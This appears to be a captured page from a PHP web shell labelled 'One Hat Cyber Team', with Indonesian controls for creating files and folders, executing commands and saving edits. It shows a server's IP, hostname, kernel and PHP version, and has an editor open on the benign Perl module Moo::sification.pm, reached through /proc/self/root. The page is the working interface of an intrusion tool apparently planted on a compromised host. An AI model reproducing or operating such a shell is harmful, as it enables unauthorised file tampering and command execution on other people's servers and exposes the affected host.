⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.184
Server IP:
65.21.180.239
Server:
Linux gowhm.eplangoweb.com 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.0.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
perl5
/
Moo
/
Edit File: sification.pm
package Moo::sification; use Moo::_strictures; no warnings 'once'; BEGIN { *_USE_DGD = "$]" < 5.014 ? sub(){1} : sub(){0}; require Devel::GlobalDestruction if _USE_DGD(); } use Carp qw(croak); BEGIN { our @CARP_NOT = qw(Moo::HandleMoose) } sub unimport { croak "Can't disable Moo::sification after inflation has been done" if $Moo::HandleMoose::SETUP_DONE; our $disabled = 1; } sub Moo::HandleMoose::AuthorityHack::DESTROY { unless (our $disabled or _USE_DGD ? Devel::GlobalDestruction::in_global_destruction() : ${^GLOBAL_PHASE} eq 'DESTRUCT' ) { require Moo::HandleMoose; Moo::HandleMoose->import; } } sub import { return if our $setup_done; if ($INC{"Moose.pm"}) { require Moo::HandleMoose; Moo::HandleMoose->import; } else { $Moose::AUTHORITY = bless({}, 'Moo::HandleMoose::AuthorityHack'); } $setup_done = 1; } 1;
Simpan